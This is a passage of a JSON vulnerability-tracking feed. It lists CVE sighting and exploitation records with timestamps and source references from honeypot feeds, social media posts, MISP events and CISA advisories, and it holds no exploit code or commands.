(honeypot/exploited-vulnerabilities) - (2025-03-12)", "content": "", "creation_timestamp": "2025-03-12T00:00:00.000000Z"}, {"uuid": "17c9816f-5127-4d41-a0b4-ab245df57f7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-14)", "content": "", "creation_timestamp": "2025-03-14T00:00:00.000000Z"}, {"uuid": "f5c39f30-6cd1-479b-b807-742a767b453d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-15)", "content": "", "creation_timestamp": "2025-02-15T00:00:00.000000Z"}, {"uuid": "d5c0077e-75ba-4ac1-a6a7-008165f19ef0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47160", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3likej7rgb42y", "content": "", "creation_timestamp": "2025-02-19T18:06:42.979283Z"}, {"uuid": "ee9c2447-70ea-4cb7-943a-b2ab3aee6f9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47160", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114032281394614424", "content": "", "creation_timestamp": "2025-02-19T19:48:49.648127Z"}, {"uuid": "92e1a1b1-bf52-4345-bf2e-e50f34b218f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47539", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lkoriu4lqs24", "content": "", "creation_timestamp": "2025-03-18T23:00:08.316117Z"}, {"uuid": "bb07251c-a883-4ca7-aad0-0d049b3e5fea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47565", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:10:50.000000Z"}, {"uuid": "58d8f74b-9421-4655-a716-e4bc0bf05a33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:10:49.000000Z"}, {"uuid": "2df7de89-2ded-4a60-af29-2e84e16c9649", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4762", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:10:52.000000Z"}, {"uuid": "a115deb6-9a2e-400d-9ad4-7f5e0304d708", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-27)", "content": "", "creation_timestamp": "2025-03-27T00:00:00.000000Z"}, {"uuid": "d65baa91-d403-4dc3-be07-3acee7d6cfdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47248", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-27)", "content": "", "creation_timestamp": "2025-03-27T00:00:00.000000Z"}, {"uuid": "a04a2668-9a59-4bf5-b211-84bce39928fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-07)", "content": "", "creation_timestamp": "2025-04-07T00:00:00.000000Z"}, {"uuid": "0c29c337-958f-497d-8395-6494bce80a04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47310", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lstnl3xl3i2r", "content": "", "creation_timestamp": "2025-06-30T16:54:39.340954Z"}, {"uuid": "df375d2f-777f-4757-a78c-daab0f597735", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47610", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-100-09", "content": "", "creation_timestamp": "2025-04-10T10:00:00.000000Z"}, {"uuid": "2113e5d3-6608-458a-8ffe-a04a7db6e491", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47611", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-100-09", "content": "", "creation_timestamp": "2025-04-10T10:00:00.000000Z"}, {"uuid": "13a44b2c-cfb5-4f82-be5a-89856b7582bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47612", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-100-09", "content": "", "creation_timestamp": "2025-04-10T10:00:00.000000Z"}, {"uuid": "b44d3031-f78a-44b1-af25-d02ff645a88c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47613", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-100-09", "content": "", "creation_timestamp": "2025-04-10T10:00:00.000000Z"}, {"uuid": "66d3b653-239b-45c6-876f-d32f3e7d8563", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47614", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-100-09", "content": "", "creation_timestamp": "2025-04-10T10:00:00.000000Z"}, {"uuid": "2f815787-1953-4f09-8cc5-40a54e8bce1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47615", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-100-09", "content": "", "creation_timestamp": "2025-04-10T10:00:00.000000Z"}, {"uuid": "b9c25df6-6d90-4634-bb69-3fa1411a0e68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47616", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-100-09", "content": "", "creation_timestamp": "2025-04-10T10:00:00.000000Z"}, {"uuid": "26381f97-88ee-45f0-a248-d9fb184a3c67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-11)", "content": "", "creation_timestamp": "2025-04-11T00:00:00.000000Z"}, {"uuid": "1cb68272-d632-4201-bcfd-36d6d454a438", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47452", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-608f6da6-5c765a350835c75b", "content": "", "creation_timestamp": "2025-06-25T15:46:42.259670Z"}, {"uuid": "255bde36-6164-48e3-9caa-1833f86b27f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-01)", "content": "", "creation_timestamp": "2025-07-01T00:00:00.000000Z"}, {"uuid": "7ae1cb66-b934-4b3e-857a-547d3be62c01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-15)", "content": "", "creation_timestamp": "2025-04-15T00:00:00.000000Z"}, {"uuid": "00654a77-b05a-4a40-a72d-2a0e794e48fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-01)", "content": "", "creation_timestamp": "2025-07-01T00:00:00.000000Z"}, {"uuid": "f4614250-9db9-4c71-b714-70d4d19cf50c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47297", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lsbxyv3xpk23", "content": "", "creation_timestamp": "2025-06-23T16:13:23.834488Z"}, {"uuid": "6a97f725-880f-4744-b33a-f432d4aea3de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47248", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-26)", "content": "", "creation_timestamp": "2025-05-26T00:00:00.000000Z"}, {"uuid": "6c3d2b2e-e5d8-486b-97b8-1133c9cb93c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47298", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lsbyrqhj5u2p", "content": "", "creation_timestamp": "2025-06-23T16:27:19.243614Z"}, {"uuid": "0f7fd425-b45d-4edd-8523-6308f790d5c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-03)", "content": "", "creation_timestamp": "2025-06-03T00:00:00.000000Z"}, {"uuid": "9abebc29-a7d6-4612-9592-f33af19d7c9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47466", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lpriikvla22e", "content": "", "creation_timestamp": "2025-05-22T16:02:51.084517Z"}, {"uuid": "64594f93-b288-4308-892a-3e119f6f1210", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47030", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lscthxcwqj2v", "content": "", "creation_timestamp": "2025-06-24T00:25:00.510801Z"}, {"uuid": "5d31ef7d-51ee-4481-a653-0300dbe84683", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47248", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-07)", "content": "", "creation_timestamp": "2025-07-07T00:00:00.000000Z"}, {"uuid": "0e51dda6-825d-4741-b2e0-31efccf15e58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-30)", "content": "", "creation_timestamp": "2025-06-30T00:00:00.000000Z"}, {"uuid": "d3716f87-715b-41ab-a7ba-26b8e5c5a81b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-09)", "content": "", "creation_timestamp": "2025-05-09T00:00:00.000000Z"}, {"uuid": "6ff8740b-6dfd-4fa8-aafc-fb4b9f31550b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-20)", "content": "", "creation_timestamp": "2025-05-20T00:00:00.000000Z"}, {"uuid": "442b43bc-9db9-4780-a41a-4871dc5d5d15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47248", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-09)", "content": "", "creation_timestamp": "2025-06-09T00:00:00.000000Z"}, {"uuid": "afd3e044-610e-4916-8c71-160f4f65fa4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47430", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3luagazidl224", "content": "", "creation_timestamp": "2025-07-18T12:13:34.799158Z"}, {"uuid": "dde4285e-f330-4ac7-bec2-70cedf3983aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47356", "type": "seen", "source": "MISP/a3c5beab-b790-4171-8b4c-02c8a9678071", "content": "", "creation_timestamp": "2025-07-22T03:54:24.000000Z"}, {"uuid": "f5c07eaf-ac6f-491b-bb12-d2310fb71184", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:01.000000Z"}, {"uuid": "4af30b16-5d85-4eaa-874e-674c3e4563ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-27)", "content": "", "creation_timestamp": "2025-10-27T00:00:00.000000Z"}, {"uuid": "9e96b032-b80b-43f1-b13d-873c92bdd6e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-21)", "content": "", "creation_timestamp": "2025-10-21T00:00:00.000000Z"}, {"uuid": "60d33796-b9bf-4c09-9de2-dca30a0abdad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-29)", "content": "", "creation_timestamp": "2025-07-29T00:00:00.000000Z"}, {"uuid": "e8d1d678-99fe-43be-886b-07f2c8cbd219", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47248", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-29)", "content": "", "creation_timestamp": "2025-07-29T00:00:00.000000Z"}, {"uuid": "b743950b-7967-4191-bf28-7d213e8bd0ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-03)", "content": "", "creation_timestamp": "2025-08-03T00:00:00.000000Z"}, {"uuid": "5a93bd0a-e954-4170-8b65-4bc987b36a1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-20)", "content": "", "creation_timestamp": "2025-11-20T00:00:00.000000Z"}, {"uuid": "01178744-87ba-44fd-8bcc-c21f6ec2c8f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-05)", "content": "", "creation_timestamp": "2025-10-05T00:00:00.000000Z"}, {"uuid": "5290dace-b22e-42fe-adb3-98d1fc9124b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-14)", "content": "", "creation_timestamp": "2025-08-14T00:00:00.000000Z"}, {"uuid": "67e03893-7cb5-473a-97f6-8bf63ddbed50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-10)", "content": "", "creation_timestamp": "2025-11-10T00:00:00.000000Z"}, {"uuid": "bdfd37dc-dc55-4e04-be7f-be64d4838842", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-10)", "content": "", "creation_timestamp": "2025-09-10T00:00:00.000000Z"}, {"uuid": "7a9df300-1108-4e8c-80d8-f3c60951f11e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47565", "type": "seen", "source": "MISP/a41d8549-5384-5e1a-8c33-bf88e35b5a0a", "content": "", "creation_timestamp": "2025-10-14T10:31:58.000000Z"}, {"uuid": "e2b16408-d1f2-42d1-b6d1-f168787b0e2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-16)", "content": "", "creation_timestamp": "2025-10-16T00:00:00.000000Z"}, {"uuid": "2f97d1db-729a-46bf-aa72-aaa8e490d43e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-29)", "content": "", "creation_timestamp": "2025-09-29T00:00:00.000000Z"}, {"uuid": "456a30af-894d-438f-94ba-2c553980ade5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47565", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-7d94594b-ae20c1dc5483d2a2", "content": "", "creation_timestamp": "2025-10-11T06:19:00.172509Z"}, {"uuid": "5c506126-ed64-49dd-8d9b-d625ede7bf7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47873", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lz5apsgooo2p", "content": "", "creation_timestamp": "2025-09-18T21:02:27.324431Z"}, {"uuid": "e6791ef8-426b-4db0-a5bf-49aff3819029", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47356", "type": "seen", "source": "MISP/a3c5beab-b790-4171-8b4c-02c8a9678071", "content": "", "creation_timestamp": "2025-09-09T11:53:45.000000Z"}, {"uuid": "fd2c7c29-ee3a-496d-9767-6cf025878a8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47160", "type": "seen", "source": "MISP/9ca82492-7deb-4197-a6f1-191e121eef96", "content": "", "creation_timestamp": "2025-08-25T13:32:05.000000Z"}, {"uuid": "cb710816-9faa-4972-a8f8-5a4f5d2e01d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-09)", "content": "", "creation_timestamp": "2025-11-09T00:00:00.000000Z"}, {"uuid": "eacd877f-56e9-4968-a68d-9a7a3b946c88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-26)", "content": "", "creation_timestamp": "2025-08-26T00:00:00.000000Z"}, {"uuid": "7eeda674-3b50-46a9-9ff8-f385c0e9fc9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "MISP/d17bd6ef-d68b-317b-ac33-cdbc44c5fc57", "content": "", "creation_timestamp": "2025-08-31T03:13:00.000000Z"}, {"uuid": "e0df9cd5-d600-4db8-9fb8-522caada79bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47565", "type": "seen", "source": "MISP/ab0b745f-bbd5-338e-8b92-97dd0c757e9d", "content": "", "creation_timestamp": "2025-08-31T03:01:06.000000Z"}, {"uuid": "10a50ccd-ae24-4707-a380-3f4bac70ebf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/qnap_qts_rce_cve_2023_47218.rb", "content": "", "creation_timestamp": "2024-02-21T17:07:58.000000Z"}, {"uuid": "773fa50a-cd92-4a53-bda7-1df293eba343", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-06)", "content": "", "creation_timestamp": "2025-12-06T00:00:00.000000Z"}, {"uuid": "883af3e4-2e13-4606-8dc0-bd32dc675eda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47248", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-09)", "content": "", "creation_timestamp": "2025-12-09T00:00:00.000000Z"}, {"uuid": "c687039b-2f1f-4d47-b5c2-22a394d0adce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-17)", "content": "", "creation_timestamp": "2025-12-17T00:00:00.000000Z"}, {"uuid": "103d4c6e-7eb4-416f-98a1-ba63c68f97db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47525", "type": "seen", "source": "https://bsky.app/profile/allsafeus.bsky.social/post/3madyhyhlrz2j", "content": "", "creation_timestamp": "2025-12-19T15:19:53.304084Z"}, {"uuid": "0eb1d73b-e019-41ba-ae95-5ac9a0015726", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47248", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-22)", "content": "", "creation_timestamp": "2025-12-22T00:00:00.000000Z"}, {"uuid": "de3d540d-e636-4895-9d55-2567e70c8516", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-31)", "content": "", "creation_timestamp": "2025-12-31T00:00:00.000000Z"}, {"uuid": "c903382d-ba25-4cfe-8a8d-0153495e8d0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47248", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-10)", "content": "", "creation_timestamp": "2026-01-10T00:00:00.000000Z"}, {"uuid": "49c0b3cb-f10e-4c2a-80d8-f3f34c56f008", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47248", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-11)", "content": "", "creation_timestamp": "2026-01-11T00:00:00.000000Z"}, {"uuid": "77fa4435-b57d-416d-8f83-0c195bd078ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-11)", "content": "", "creation_timestamp": "2026-01-11T00:00:00.000000Z"}, {"uuid": "23840068-91f0-4a65-9aef-fbcac2dea708", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47248", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-11)", "content": "", "creation_timestamp": "2026-01-11T00:00:00.000000Z"}, {"uuid": "d2455c9a-8288-48d9-aae5-5a4eb4e3b70e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-14)", "content": "", "creation_timestamp": "2026-01-14T00:00:00.000000Z"}, {"uuid": "c30d315a-de7e-4038-84a5-d7bdcd7feccc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-15)", "content": "", "creation_timestamp": "2026-01-15T00:00:00.000000Z"}, {"uuid": "3c5db2ad-a533-47f7-8318-f4de6ef7f847", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-17)", "content": "", "creation_timestamp": "2026-01-17T00:00:00.000000Z"}, {"uuid": "b22d8929-7dd1-4497-80df-5e93b6c9fba6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 